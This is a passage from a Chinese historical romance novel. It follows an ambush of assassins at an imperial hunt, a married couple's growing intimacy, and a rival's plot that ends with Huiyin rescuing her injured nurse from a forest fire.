宣帝不仅没放慢马速,反而加快速度的冲上去,单手驭马道:“今日谁能猎下这大虫,朕便将汗血宝马赐予他。” 身后听闻此言的众人立马欢呼起来,马鞭抽的呼呼响,那大虫察觉动静,原地立了片刻后转身朝后头密林奔去。 太子放慢马速与裴彧齐头并进,“表兄,你怎么不去?” 裴彧时刻关注着周围的动静,再抬头时发现宣帝和吴王已经一马当先的冲进密林后瞳孔一缩,他加紧马腹冲上去,叮嘱身后的太子,“殿下,跟紧我。” 前方大部队已经陆陆续续进入密林,密林中枝叶繁茂,大虫速度极快,专往偏僻地方钻。守护在宣帝身边的卫兵阵型被地势打断,眨眼间与宣帝拉开距离。 吴王紧跟在宣帝身后,下腹发力加紧马腹,迅速张弓拉弦,一箭射穿极速奔跑中的大虫腹部。 宣帝回头夸赞,“好箭法!” 吴王得意洋洋的收起弓,再抬眼时,脸色突变,“父皇,快停下!” 宣帝回头望去,方才还在逃命的大虫因那一箭发怒,此刻竟调转方向朝他们突来,腹部中箭的血染红它的毛发。 不过几息之间,大虫已经奔至他们面前,密林狭窄,身后还紧挨着吴王的马匹,宣帝一时间之间没法调转马头,只能眼睁睁看着大虫张开血盆大嘴扑上来。 咻—— 强劲有力的箭矢射穿大虫的右眼,飞奔中的大虫吃痛的跌在地上,给宣帝带来喘息的时间,他立刻握紧缰绳调转马头,就在这时,他身下的那匹汗血宝马不知为何发狂,仰头嘶鸣将马背上的宣帝甩下马。 吴王呲牙裂目,“父皇!” 他将要弃马救人时,那匹发疯的汗血宝马朝他猛烈的冲过来,竟硬生生的将他连人带马冲倒在地。 尾椎骨传来刺痛,小腿摔下时狠狠撞在地上的尖树根上,刺穿了他的腿部,吴王捂着腿倒在地上,痛呼的惊叫哽在喉中,他看见面前高高扬起的马蹄,将要踏碎他的身躯。 预想中的疼痛没有来临,吴王只感觉自己像被一阵风托起,他睁开眼,看见裴彧伏在马背上,嘴唇紧抿,单手将他拧在马腹侧,甩开身后发狂的汗血宝马,臂力惊人。 太子带人解救摔落在地的宣帝,护着他向后撤去。 裴彧单臂用力,将吴王拉起放在身后,回身喊道:“抓紧。” 发狂的汗血宝马紧跟着裴彧的身后,嘶鸣不断,它浑身泛红,洒出的汗如血一般洒在地上,速度极快,眨眼间就追上了裴彧的乌骓。 吴王抱紧裴彧的腰腹吸气道:“追上来了。” 裴彧没有接话,他把缰绳递给身后的吴王,抽出马腹另一侧拐着的环首刀,看准前方道路上横出来的枝节,腰腹发力,如同一只猎豹般在空中翻转窜起,单腿勾在枝节上,一刀割斩断身后紧追不舍的狂马的头颅。 鲜血迸进在裴彧的脸上,那味道令他想起遥远的代郡,想起那边郁郁葱葱的大草原,想起兵戈铁马的战场。 裴彧翻身落地,单臂夹着刀锋擦净上面的血液,在他的前方,那匹被激怒的大虫浑身浴血,将宣帝和太子身边的护卫的士兵阵型冲乱,最终力竭被刺死。 与此同时,密林里还传来其他细碎的动静,很轻。 吴王见身后的危机解除,伏在乌骓马上晕过去。乌骓极有灵性,托着背上的人哒哒来到裴彧身前,摇晃马尾。 裴彧摸摸它的脑袋,示意它驮着吴王先回大营。密林的动静越发大了,那些隐在树枝后的身影都浮现出来,人数约莫三十,大半天的黑衣蒙面,身体强健高大,手中的刀光明亮,锋利无比。 裴彧几个起落跃到宣帝身边,回禀:“人都钓出来了。” 宣帝一改方才的惊吓之色,负手站立环视一圈,黑衣人已经将他们这群人层层包围,“吴王如何?” 裴彧回:“摔下来时被地上的尖木刺穿小腿,失血过多,我已经让乌骓将他先送回大营了。” 宣帝颚首,拍拍拦在身前一脸紧张之色的太子,“后边去。” 太子面露难色,握紧守着长剑吞咽口水,“父皇,儿臣护着您。” 宣帝没跟他废话,单手接过太子手中的长剑将人撸到后边去,那矫健的模样,与方才摔下马直不起身的他完全不同。 太子一脸迷茫,看看前方的宣帝,又看看身侧的裴彧和面前亮着刀锋逼近的刺客,老实的闭上嘴。 宣帝长剑挽了个剑花,将剑插在地上,冲那群刺客扬声道:“都到这个地步了,还不露面吗?” 无人应声。 宣帝也不生气,扬扬手笑道:“也罢,动手。” 持刀的刺客不约而同的冲上来,而方才还被大虫冲击的四分五裂的侍卫双手持刀,下盘极稳,与刺客等人战的不相上下。 宣帝拍拍衣袖,坐在大石头上欣赏战况,原本寂静的密林早已被兵戈相接的声音打破,一片绿意也染上鲜红,连呼吸间都是血的粘腻味。 裴彧他环视一圈,注意到不远处的动机,抽刀跃出包围圈,扬手一刀劈下,树后的人极为警觉,避开刀锋向后奔去。 裴彧手挽翻转扔出长刀拦住他的去路,逼近人影搏斗起来。 观望的宣帝这时站起身,盯着与裴彧搏斗的那人,拉上太子问:“你可看出来什么?” 太子艰难回道:“今日是父皇故意设局引蛇出洞。” “朕引的谁?” 太子本想道自己不知,但见宣帝眼神锐利的盯着他,他眼神慌乱的看着一个已经被刺死的刺客道:“这群人身量高大,手中的弯刀是精铁,身上还有图腾刺青,莫非……是匈奴人?” 宣帝满意的点点头,示意他看向与裴彧搏斗的那人,那人是这群刺客里唯一一个身量小的,使的还是短匕,打斗间他的蒙面布料已经被裴彧扯下,是个汉人。 太子心中涌上一股寒意,颤抖道:“朝内居然有人勾结匈奴人。” 宣帝冷哼一声,“能将这三十多个匈奴人放入关,又带到甘泉行宫,朝中有几人能做到。” 太子识趣的没有接话。 在他们交谈间,落后一步赶来的大部队已经将刺客团团围住,死二十一人,活捉九人。那边,裴彧制住刺客的双手,扫腿将人猛摔在地上,照着面门一拳将人打晕,拖尸体般拉到宣帝面前。 宣帝凝视片刻,眉头紧皱,这人他见过。 刺客被悉数制服后,嘈乱的密林恢复宁静,裴彧低头整理擦拭长刀上的血迹,长睫遮住眼,没人知道他心里在想什么。 良久,宣帝才从那汉人身上移开视线,吩咐将人带下去,严加看守。 他负手望着裴彧,微笑道:“元晞,可有碍?” 裴彧手臂处有一道伤口,是方才与汉人搏斗中他突然抽刀偷袭所致,劲衣黑袖上咽着血,手臂的主人却丝毫不在意的用发带捆住伤口,掀起眼皮淡淡道:“臣无碍。” 宣帝失笑,“你这睁眼说瞎话的本事日益精进了。” 边上的太子听闻立马凑上去前,抱住裴彧的手臂倒吸一口凉气,“表兄,你受伤了,医官呢!” 裴彧任由太子将他拖走,垂眸看着医官替他清洗包扎伤口,刚刚那个汉人,搏斗中他看见他颈后的纹身,那是裴家军近卫的证明。 裴彧确认他接手裴家军后没有这个人,那只有一个可能,这个人是他父亲的近卫。 五年前代郡一战,裴擎身边的近卫都随他战死,他的近卫也都死在了代郡。今日却离奇的出现在这里,还和匈奴人有勾结。 当年代郡一战,究竟发生了什么。 陛下遇刺乃是大事,消息传回营地后,皇后立刻组织女眷离开苑林,同时,甘泉宫两侧的驻兵营也迅速集结,将周边围的水泄不通,逐个排除渗透的匈奴奸细。 裴夫人接到裴彧受伤的消息后就坐不住,招呼院内的婢女,烧水的、请医官的、熬汤的、除了支使院内的婢女,她还重点叮嘱徽音,等会陪裴彧回来要如何如何。 徽音还在等皇后那边传来的消息,闻言楞了楞,裴彧受伤了,严重吗? 她想起裴彧离开时带笑的音容,怀里那个钱袋变得发热起来,一下一下烫着她的心口,叫她坐立难安。 裴彧回迎风馆时已经是深夜,他回外宫后先是去了死牢想提审被抓住的那个汉人,结果得知宣帝下令,没有他的手令任何人都不能见他。 这一举动令他心中的疑虑达到顶峰,近些年来匈奴屡犯边境,每次都是劫掠城防最薄弱的地方,劫掠后立刻撤退,边关守军一次都没抓到人。 他和宣帝早就疑心朝中有人与匈奴人勾结,谋划三个月布下这局,好不容易抓到了重要人犯,宣帝却在此事要将他踢开,不许他再接触这个案子。 那个汉人究竟是谁,朝中与他勾结的又是谁?宣帝为何在此时不让他再接触这个案子,是否和五年前代郡一战有关? 裴彧刚刚走进馆内,裴夫人就带着裴衍和贺佳莹围上来,对着他嘘寒问暖,句句担关心。 徽音落后他们一步,站在裴夫人身后打量裴彧,他低垂着头,眼底带笑,正在安慰裴夫人。手臂上的白布条异常显眼,衣摆沾着草屑。 她听见裴彧安慰了裴夫人几句,将三人哄走,而后转头看着她说:“出了一身汗,想沐浴。“ 徽音点点头,扶着他进屋,吩咐颜娘去烧水。 裴彧一进门就将外衣脱下,只穿一件素白的里衣,衣袖上还染着血渍。 徽音走上前,捡起地上的脏衣放在一边,倒了杯茶给裴彧,问:“甘泉宫中怎么会混进刺客?“ 裴彧接过茶一饮而尽,疲累的坐在锦席上,低声道:”不是什么大事,别担心。“ 他不想说,徽音也不再多问,取来一块湿帕子递给裴彧,“擦擦脸吧。” 裴彧微微抬了下右臂,眉头紧皱,“抬不起来。” 徽音看了他一眼,蹲在他身侧凑上去,细心的擦拭他脸颊的脏灰。她动作时,裴彧配合的低下头,长睫微垂,黑白分明的眼珠直挺挺的盯着她,像是要在她脸上钉出个洞。 徽音有些不自在,抬高手遮住他的双眼,他下颚处沾了块血渍,已经干涸了。她离得更近了些,用了些力气去擦。 两人的呼吸交织在一起,徽音感觉到手下的肌肤越来越热,裴彧劲瘦的大腿紧贴她的腰身,慢慢收紧,将她整个人拢在他怀里。 徽音挣扎起来,这距离太近了,近到两人之的间隙不过一个拳头大小。她松开捂住裴彧眼睛的手,撑着他的肩膀战起来。 “水备好了,你去吧。” 裴彧懒洋洋的起身,走到徽音身前凑近她的而耳垂低沉道:“我伤了手,你得帮我。” “我……找人帮你。”徽音捏着衣袖,避开裴彧。 裴彧站着不动,语气戏谑:“阿母方才还叮嘱你要好生照顾我,你这人前一套背后一套玩的挺溜啊。” 徽音涨红脸,用手撑着他越靠越近的身子,艰难道:“我不会。” 裴彧不由分说的抓住她的手掌,拖着人往浴房走去,“不需要你做什么,陪着我就行。” 徽音听见这话,挣扎的动作停下来,她落后裴彧一步,顺从的跟着他进入浴房。 水汽蔓腾,徽音身上开始发热出汗,她靠坐在浴桶旁,双手举着裴彧那支受伤的胳膊,脸侧在一边,耳尖发红。 裴彧搅弄的水声传进她耳里,明明是很细小普通的声音,在这见狭窄的浴房却被无限放大。 徽音手臂有些微酸,她侧着脸问:“你好了吗?” 裴彧靠在浴桶边,轮廓上沾上细小的水汽,唇色比平时要深很多,让他整个人看起来如同醉酒般,眼神潋滟。 他嗓音暗哑:“好了,你帮我擦一下。“ 徽音不觉有他,接过他递来的干净帕子,伸手去擦他身上的水珠,当她触及到裴彧那幽深的眼神时蓦然一跳,像是被什么东西轻轻撞击,带起一阵涟漪。 她扔下帕子退后两步,“你自己擦。” 本以为裴彧会不依不饶,没想到他今日如此好说话,眉间微微上挑,“行。” 下一刻,裴彧径直从浴桶里站起身,全身暴露在徽音面前,他漫不经心的单手承在浴桶上,受伤的手中握着一块素色的帕子,弯腰擦拭着腹部的肌肉。 他全身的肌理因他弯腰俯身的动作的紧绷,全身上下无一丝赘肉,腹部线条雕刻般没入下半身令人心惊胆战之处。 徽音猝不及防被扎住眼,她什么话都说不出来,一股热气从脚底直冲头顶,烧得她面红耳赤。 裴彧看见她跌跌撞撞的跑出去,空中传来她恼羞成怒的骂声:“不要脸。” 他嘴边噙着笑,取过一旁干净的里衣套在身上,赤着脚走出去,在黄木地板上留下几道深深的水痕。 裴彧跟着徽音的脚步回了内室,内室异常安静,只有几道垂下的帷幔轻微摇晃,他慢悠悠的坐在矮案旁,不高不低的说道:“医官说天气炎热,我这伤口一日得换两次药。” 他单手解开绷带,仍由那道狰狞的刀伤裸露在空气中,案桌上的瓶瓶罐罐被他碰出声音。 须臾,帷幔后探出一个人影,徽音面无表情的走出来,接过裴彧手中的伤药,她绷着脸,是裴彧从没见过的表情。 知道自己将人惹火了,裴彧难得的有些不好意思,他伸手去碰徽音的肩膀,“生气了?” 徽音打掉他的手,表情不变,冷漠道:“你再多说一句就出去。” 裴彧看着她这副模样心痒痒的紧,低头靠过去贴着徽音的脸,呢喃道:“徽音,我们是夫妻。” 徽音放下伤药,看了他几眼,清晰的感觉到他透露出来的意味。她伸手去解腰带,没一会就将外裙脱掉,露出里头白玉细腻的肌肤,锁骨再往下,是圆润饱满的起伏。 她背手去解身后的小带,却被一只大手嵌住,动弹不得。 徽音睫毛颤抖,不明所以的抬眼,裴彧依旧是方才那副表情,眼底含着欲,但他什么都没做,拦下她解衣的手,又从地上捡起外裙替她穿好。 他自顾自的包扎好手臂上的伤口,捧着徽音的脸,额头抵着额头,丢下一句不甚清晰的话,然后去抱被褥打地铺。 徽音坐在原地,想着方才的话,他刚才说,要她心甘情愿。 她回头看去,裴彧铺好地铺直接躺了上去,单手遮在眼上,不知道在想些什么。 徽音起身走到床边,盯着地上那人的下半张脸,描摹他的容貌。从他的脸上一路打量到身躯上,最后落在那起伏的地方。她有些尴尬的别过头,脚尖在地上无意识的轻点。 “你,要不到床上来睡?” 裴彧耳尖动了动,他撤开手望向床上的徽音,她半侧着身体,手紧紧握着被褥,看的出很局促,头发柔柔的披在脑后,冰肌玉骨。 裴彧懒洋洋的支起腿,遮住下半身,“我睡床,你睡哪?” 徽音沉默片刻,低声道:“山里夜凉,都睡床吧。” 裴彧心念一动,片刻不耽误的从地上起身,来到徽音身边,抱着她倒在床上。 徽音僵直身体不敢动,她能感觉到,裴彧的身体紧紧的贴紧她,两人之间不留一丝缝隙,那个坚硬滚烫的东西不容人忽视。 “你……” “别动,让我缓一会。”裴彧抱紧徽音,将脑袋埋在她的肩侧,嗅着她身上的暗香。这一刻,他那落不到实处的心终于放下,获得片刻的宁静。 徽音靠在他怀里,两人发丝纠缠在一处,分不清是谁。耳边是裴彧有力的心跳,鼻尖是他身上的清香,身上是他的体温。她好像整个人都被泡在一盏名为裴彧的茶里,不上不下的漂浮着。 过了好半响,腰后顶着她的那个东西才慢慢恢复平静,裴彧抱着她翻了个身,将她放在床榻内,“广陵那事,是你做的?” 徽音身体僵硬,轻微点头,“是我。” “香炉里的催情香皇后处理了,下次动手前注意善后,别让人查到。” 徽音七上八下的心彻底落下,她疑惑的转头,“你不骂我?” 裴彧挑眉,“好端端骂你做什么,做的很好。” 他拍拍她的脑袋,轻声道:“睡吧。” 徽音闭着眼,强迫自己入睡,心里的愁绪密密麻麻的的缠住她,裴彧今夜的每个表情、动作都在她脑海里不断上演。 身后传来均匀的呼吸声,裴彧已经睡着了,徽音拍拍脑袋,将脑中一团杂乱甩出去,闭眼睡觉。 半响,一片黑暗中她再度睁开眼,平静的心难得浮躁起来,徽音转头看着睡得一脸正香的裴彧,气不打一处来。要不今夜他莫名其妙,她怎么会被搅扰得睡不着。 她抬脚蹬在裴彧身上,那人没有动静,她更加生气,撑起身去捏他的脸,攥住他的鼻子不让呼吸,在成功看到裴彧紧皱的眉头后她心头的气才消散了半分,松手老实的回去睡觉。 她刚躺下去,身后就贴上一个人,搂住她的腰身将她扣在怀里,凑道耳边道:“不生气了?” 徽音一僵,“你装睡?” 裴彧轻哼出声,拨开她柔软的长发,含住她颈后那块软肉,细密的啄吻。 “我真睡了,你踹我那脚我就醒了。” 徽音颈后被他吻住,像是谁在用羽毛捉弄她的脚心,痒得她不禁蜷缩起来,弓身躲避裴彧的亲吻。 裴彧本也没打算做些什么,他微微远离了些,坏意的拍拍怀里人的臀,含笑道:“睡不着的话,做些别的?” 徽音浑身跟触电般,滚到床榻的最里面,用被子盖住全身,闷闷道:“我睡了。” 裴彧就着月色凝望她的背影,心中叹气,当初将人得罪的死死的,如今也只得受着。 第43章 裴彧受伤,陛下…… 裴彧受伤, 陛下和皇后流水般的赏赐涌来,堆满了徽音的西院。 虽然裴彧多次强调他的伤无碍,但陛下还是准了他半月的假好好养伤, 对此裴彧心知肚明,宣帝是摆明了不让他插手刺杀案, 他明面上自然也不能与其作对,老老实实的呆在迎风馆养伤。 裴彧仗着受伤,霸占徽音的全部时间,吃饭要陪、睡觉要陪、无聊也要陪。 徽音只能眼睁睁的看着裴夫人, 贺佳莹还有裴衍兴高采烈的出门游玩,留她一人陪着裴彧。 这日, 徽音本来在屋内好好的临摹字迹, 裴彧坐在她身侧,时不时骚扰她一下。徽音烦不胜烦, 不悦的看向裴彧,“你到底想干什么?” 裴彧不说话,用他那如狼似虎的眼神的盯着徽音,挑眉让她自己想。 徽音一看他眼神就不正经,这两日来她被裴彧明着暗着暗示了不少, 自然知道他这个眼神是怎么回事。用他的话来说, 吃不着肉, 喝点汤也好。 徽音勾勾手, 裴彧顺从的靠过来, 喉结涌动。 徽音抬手遮住他侵略十足的眼神, 慢慢靠过去,吻在他微凉的唇边瓣上。 一触及离,她耳尖微红, 推开裴彧的脑袋,“不许再打扰我。” 裴彧涩情的舔舔唇,大马金刀的坐到徽音身边,劲瘦修长的大腿夹着她,□□她的腰窝,哑声道:“不够。” 徽音有些生气,回头要辩驳两句,她才张开嘴,就被裴彧搂进怀里,力气大的像是要把她揉碎在身体里,嘴唇尚未合拢,裴彧趁机钻进来,抱着她在她怀里肆意搅弄。 徽音捶着裴彧的肩,掐着他的手臂解救出自己,好不容喘口气,那人又紧紧贴上来,啄着她的嘴角道:“这才叫亲。” 最后不知怎么的,她整个人被压在桌上,刚写好的竹简混着墨水摔在地上,融成一团黑迹。 裴彧单手护在徽音脑后,压着她深吻,掠夺她口腔里所有的空气,他要这个人从头到尾全部都沾上他的气息。 他微微撤开,抚着徽音的胸口替她顺气,徽音被他吻的面红耳赤,双脸泛红,唇色比往常好要艳丽几分,上头还泛着水意。她迷茫的睁着眼,微微张口,在他怀里轻轻颤抖。 裴彧望着她意乱情迷的模样,手下是她软润起伏的身躯,一时之间,下腹瞬间窜起燥热,让他有些控制不住自己。 徽音缓过神,推开裴彧坐起身,她写了大半天的字稿毁于一旦,墨迹将地毯染脏。 裴彧自知有错,摸着她的背脊认错,“我下次一定克制。” 徽音狠狠抹了把嘴,双手推搡着他,“你给我滚出去!” 裴彧反握住她的手,哄道:“我知错了,我带你去骑马好不好?” “天热,我想不去。”徽音抽回手,面色冷淡。 “今日天气好,我带你去骑汗血宝马,纵马奔腾的感觉你一定喜欢。” 徽音想起往事,有些害怕的摇摇头,“我不喜欢骑马。” 裴彧敏锐的察觉到她的不对劲,一个劲的追问为何。 “小时候摔过。” 徽音不想多说什么,她少时骑马,一向温顺的马儿不知为何发疯将她甩下马,摔断了腿躺了三个月,从那后她就对马有了阴影,导致这么多年来,她一直不会骑马。 裴彧拉住徽音,蹲在她身侧,“信不信我?” 徽音不解:“什么?” “我不会让你摔的。” 徽音沉默片刻,她不明白裴彧为什么非要让她去骑马,她不想去。 她抽回手,侧身对着裴彧,这是一个拒绝的姿势。 裴彧握住徽音的肩膀转向他,他就那样直视徽音,不允许她视线逃离,“我知道摔下马对你来说是一件很恐惧的事情,但是有些事情,你应该直面它,克服它。我不逼你,你好好想想。” 徽音不明白,“你为什么非要我去骑马?” 那一瞬间她在眼裴彧眼底看到了许多,情绪复杂到她辨不清楚,他说:“会骑马不是坏事,重要的时候能救你命。” —— 裴彧伤口愈合后就闲不住的出门了,刚到甘泉宫时他身有要职,忙着布防,好不容歇下来,日日同着以前的狐朋狗友往山上跑,有时兴起还会歇在山上,只每日都吩咐人带回几只新鲜的野味给裴家人开小灶。 野味汤鲜美,徽音小口的喝着,听着贺佳莹絮叨,这些时日她与那郭廉相处愉快,郭夫人性子爽利,很好相处,贺佳莹已经从刚开始的拒绝变成了接受。 贺佳莹喝完汤,趁裴夫人不注意凑到徽音耳边道:“我今日听闻,那日在苑林,广陵真的被捉奸在床了,皇后连夜将她送回了京城。郑妃娘娘去找陛下求情,却被陛下怒斥教女无方。” 徽音动作一顿,她放下漆完眼神询问,然后呢? 贺佳莹继续道:“我还听说,陛下已经示意少府准备公主出降。” “那面首呢?”徽音问。 贺佳莹摇摇头,“许是被秘密处死了。” 徽音还想再问,裴夫人突然唉声叹气,一双美目忧愁的盯着山上,“彧儿伤势才好,怎么就不能安生些,他今日又让人递了话,不回了。” 贺佳莹也好奇:“以前也没见表兄跟那群人混在一起,如今是怎么了?” 徽音没有接话,她大概知道是怎么回事了。她和裴彧夜夜歇在一张床上,裴彧手脚不老实,每夜必要按着她亲一阵子才罢休,好几次擦枪走火他都强忍下来。 火气积攒在一起,越来越大,他每日都是一副浮躁模样,有一日为着一件小事训斥了徽音院中的婢女,将那婢女生生骂哭,徽音看不过去说了他几句。 他当时倒是没说什么,第二日就纠集一帮子弟上山了。不知在生谁的气。 用完饭,徽音在院中踱步消食,她望着山上的方向叹了口气,气性真大。她说了他四句,他竟真的就四日不回来了。 明日若是还不归,她少不得要亲自上山将这位爷好生好气的请下来。 徽音环视一圈,没在院中看见熟悉的身影,她招来一个婢女询问道:“颜娘呢?” 婢女回道:“颜娘听闻秋苑那边有一种红彤彤的野果,甜脆可口,同几个仆妇过去采摘了。” “去多久了?” “约莫有两个时辰了。” 两个时辰,徽音蹙眉,采摘野果需要这么久吗,秋苑离这边也不远。 “你跟我出去找找。” 徽音带着婢女朝秋苑走去,不知为何,她一直心绪不宁,总感觉出了什么事一样。秋苑有一片果林,这个时节大多数都还没有结果,只有小部分的枝桠上挂慢红彤彤的果实。 苑中有几名看守的宫婢女,徽音走上前询问:“你们可有见过一个年纪约莫四十,身形稍矮的妇人来过此处?” 宫婢们摇摇头,“奴婢等今日只看见几位相携的年轻婢女。” 徽音一颗心落到谷底,颜娘出事了。 她强迫自己冷静下来,吩咐跟着的婢女回去找裴夫人帮忙,自己则顺着来路一个一个的问过去。 直到夜幕降临她才从一个婢女口中问到颜娘的踪迹的,她说午时颜娘和一个仆妇相携着朝苑林那边的密林而去。 陛下在苑林遭遇刺杀后,苑林就被封锁搜查,昨日才解封,那人为何要诱骗颜娘进密林。那片林子里被化为猎区,里头的野生兽类并未被清走,与山相连接,谁也不知道里会有什么。 徽音目光沉沉的望着漆黑的密林,浑身发凉。 静谧的夜里,苏静好慢慢踱步出来,她身后跟着四个垂首的婢女,其中一个衣袖上还沾着血。 她走到徽音身边,慢慢抚上徽音的肩膀,如情人般呢喃凑近徽音耳边,别有趣味的笑道:“我听说她摔下山谷,头破血流,坚持不了多久了,你现在进去救她还来的及,不过,你敢进去吗?” 徽音望着那片黑黝黝的林子,指甲嵌进掌心,她不能让颜娘一个人留在里面。 “她在哪?” 苏静好遥遥指了个方向,“在那。” 徽音捡了根木棍点燃,头也不回的走进密林。她才进了林子,就听见身后草丛沙沙的响声,远处还有猛兽的吼叫。她低头将裙摆挽好,咬牙朝着苏静好指引的方向跑去。 要快些,再快些。 苏静好望着徽音的身影消失在密林内,脸上的笑意恢复平静,婢女上前询问:“女郎,要派人进去灭口吗?” 苏静好沉默片刻摆摆手,“不必横生枝节,就让她死在林子。” 密林地势一会高一会低,徽音一路跌跌撞撞,摔倒过几次,好在她将火把捏的死死的,不曾熄灭。大约过了半刻钟,她感觉胸腔里都是铁锈味,坚持不住的停下来扶住树喘息。 她不敢去想,如果颜娘死了,她会如何。 徽音已经很久没哭过了,她控制不住内心的恐惧。她抹了把脸,手心全是泪水,徽音扶着树一点一点的找过去,在一出低洼陡坡下,她看见了熟悉的衣裙。 颜娘浑身是血的倒在地上不省人事,她额头撞在石块上,有一个鸡蛋大小的血洞,四肢还有几道血痕。 “傅母!” 徽音手脚并用的爬下去,抱起颜娘的头颅查看,察觉到她微弱的呼吸。 “傅母,你醒醒……你看看我……” 徽音掏出怀中的帕子捂住颜娘额头的伤口,小声哭泣,她不敢发出声音,她已经进入密林深处,担心招来猛兽。 颜娘身上的伤必须赶快处理,她已经失去意识,徽音只能奋力拖着她一点一点往前移,可无论无何她怎么做,怎么搬,都办法将颜娘抗上去。 她只能抱着颜娘哭泣:“傅母,你再坚持一下,再坚持一下,马上就来人了。” 颜娘动了动唇,声音很轻。 徽音满脸泪痕的凑过去,听见她说:“走……你走。” “不要,我不要。” 徽音抱着她,心里怨恨自己,为什么没有早点想到苏静好的报复,为什么没有早点察觉颜娘的失踪,她为什么要跟裴彧吵架…… “傅母……我求你了……你别离开我……别留我一人。” “吼——” 一道啸声传来,徽音捂住唇抑住哭泣,看清那双绿莹莹的眼睛,不止一双。她松开颜娘,用火把点燃周围的树枝和杂草,升腾的火光瞬间照耀这片地。 徽音拖着颜娘躲到安全的地方,天干物燥,这片山火燃起,不仅能震慑野兽还能用山火引起甘泉宫的注意。 她抱着颜娘慢慢冷下的身体,眼底映着熊熊燃烧的火焰。眼泪汹涌不断,徽音绝望的想着,就这么烧死也挺好的。 死了就什么烦恼都没有了,不会痛苦,不会纠结,她真的太累了。 “宋徽音!” 徽音昏沉沉的抬眼,燃烧的烟雾吸入鼻腔,她已经有些睁不开眼了。她听见那声怒喝,是裴彧在喊她。 一片火光中,裴彧骑着乌骓马高高越过火线,眨眼间来到她的身边,徽音不可置信的仰头望着他,颤抖道:“裴彧,救救颜娘,救救她。” 裴彧抽出腰间的湿帕子,翻身下马捂住徽音的鼻,从她手中接过昏迷不醒的颜娘放在马背上,他扶起徽音打量她全身,发现她没有受伤后松了口气,强忍着怒意将人抱上马,恶狠狠道:“回去再收拾你!” 徽音坐在马背上浑身僵硬,双腿不住的颤抖,她想起被摔下马的场景,右小腿生疼生疼。 她哭道:“我不行,裴彧,放我下去。” 火越烧越大,裴彧捧住徽音的脸的狠狠吻下去,擦干她的眼泪,“徽音,颜娘不行了,乌骓只能带着你和她出去,你想救她吗?” 徽音流着泪点头,“我要救她。” “乖,”裴彧将她悬空的脚塞进马镫,握着她的手牵住缰绳,让她抱紧颜娘伏在马背上,“什么都不要想,闭上眼,乌骓会带你们去找裴衍。” “那你呢?” “别担心我,你放火,我来灭。” 裴彧拍拍乌骓的头,乌骓亲昵的蹭蹭他的手,撒开腿离开火场,带着徽音和颜娘一路往外跑。 徽音伏在马背上,她没有听裴彧的闭上眼,而是回头盯着火中的那道人影,眼泪和声音散在风中。 “裴彧。” —— 迎风馆内,徽音躺在床上昏睡,她身上有几道擦伤,额头不知道在哪撞的,有一块小小的红痕。 裴彧坐在床侧,握着她的手细心涂药。他本来打定注意等徽音跟他服软,他只不过骂了那婢女两句,徽音便说他故意找事,他心里头有气,故意上山不回。 几天没见徽音又心痒痒的很,想她的念头压过了心中的气,便连夜下了山。 刚下山就遇见急匆匆的裴衍,从他口中得知徽音出事的消息,看着苑林中冲天的火光的时候,他彷佛置身在火场里,被烈焰灼烧。 他甚者有些记不清自己是怎么一路冲进林子,只记得徽音满眼死寂的望着他,漂亮的眼睛里留出眼泪,求他救救颜娘。 那一刻他差点握不住缰绳,也是从那刻起,裴彧清晰的认知到,他栽了,他这辈子都不可能放下她。 徽音慢慢睁开眼,拽着裴彧的手掌,“颜娘。“ 裴彧扶着她坐起身,宽慰道:“她没有性命之攸,正在修养,多亏你止血的及时。“ 徽音脸色苍白,“那火呢?” “已经灭了,没烧太多。” 徽音点点头,“你,有没有事?” 裴彧看了她一眼,不经意间露出右手侧烫红的肌肤,“我没事。” 徽音握住他要收回的手,蹙眉不语。 裴彧不在乎道:“一点小伤,过两天就好了。” “有药吗?” 裴彧一怔,凑上前柔声道:“真不用上药,你替我吹吹就好。” 他本是随口一言,没有当真,没想道徽音竟然真的捧着他的手小口的吹气。那口气好像吹进他的心了里,比幼时吃的第一口蜜枣都要甜,比第一次斩下匈奴人的头颅还要另他热血,叫他放不下。 英雄难过美人,他亦难免俗。 裴彧柔声问:“饿不饿?” 徽音摇摇头,“我想去看看颜娘。” 裴彧拦住她,亲自去端来吃食放在木几上,端起粥喂徽音,“先吃饭,吃完饭再去。” 他舀起一勺吹凉递到徽音面前,用哄孩子的语气哄道:“张嘴。” 徽音迟疑片刻,还是凑上去咽下了那口粥,然后接过裴彧手中的碗,“我自己来就行。” 裴彧抱臂看着她,问:“昨日对颜娘出手的人你有头绪吗?” 徽音摇摇头。裴彧没有说话,昨日那人与宫宴上买通睢阳婢女的是一个人,徽音一定知道是谁。 裴彧心里莫名有些不爽,为什么要瞒着他,不信他? “那人对你屡次出手,我已经吩咐驰厌去查了,叫我查出来我就直接处置了,你不许生气。” “若那人位高权重呢?”徽音放下碗,第一次直勾勾的盯着裴彧的双眼,不肯放过他眼底任何一丝表情。 裴彧俯身擦去徽音嘴角上的水渍,一字一句道:“不管是谁,我都不会放过的。” 徽音垂下眼,终止这个话题。她套了件外衣去旁屋看望颜娘,颜娘额头上被布包扎起来,脸色惨白,呼吸孱弱。 徽音坐过去,握住她的手,她暂时没有与苏静好抗衡的能力,只能避开其锋芒,至于裴彧所言,她并不信。 —— 西院外,驰厌跨刀等在门外,他身后还跟着一个模样瘦削的老头,双手拢在袖中,微微侧身,低眉打量四周。 裴彧抬步出门,朝那老头微微颚首,示意他们跟上。 三人一路无言走到静谧处,老头上前一步,从袖中取出一块帛步递给裴彧,弯腰拱手道:“少将军,您让我查的人都在这里。大司马身边符合你所言的特征只有三人,有两人七年前已逝去,剩下一人随大司马五年前去了代郡,再无消息。” 裴彧接过帛书,那人叫陈颉,蜀地人氏,十九岁投军,二十五被调到裴擎身边,三十六岁时随裴擎去代郡,父母双亡,未娶妻未有子,孤家寡人一个。 这样的人,无牵无挂,按理是不会轻易被收买。 “可否有他投军之前的消息?” 瘦老头腰弯的更低了些,“并无,得去蜀地查探。” “与他同一批入伍的人还在吗?” 瘦老头:“还有几人,不过都远在代郡。” 裴彧笑道:“张叔,劳烦你跑一躺了,下去歇息吧。” 瘦老头低声应答,慢慢退出去。 驰厌等人走后,将裴彧让他去查颜娘受伤一事的情况一一禀告:“卑职问过昨日苑林的值守,颜娘是与一婢女一同进入的密林,半个时辰后,那婢女独身离开密林。卑职一路查证,发现那婢女是太子的人。” 裴彧慢慢转头,目光幽深,“你确定?” 驰厌低着头回道:“找了三人指证,确定无错。” 良久都无人说话,驰厌在衣摆上蹭干净手心的汗,再度道:“那婢女是太子的人无疑,具体受谁指使还需审问,少将军,你看?” “不必查了,你挑两个女近卫暗中保护她,不要让她发现。” “是。”驰厌回。 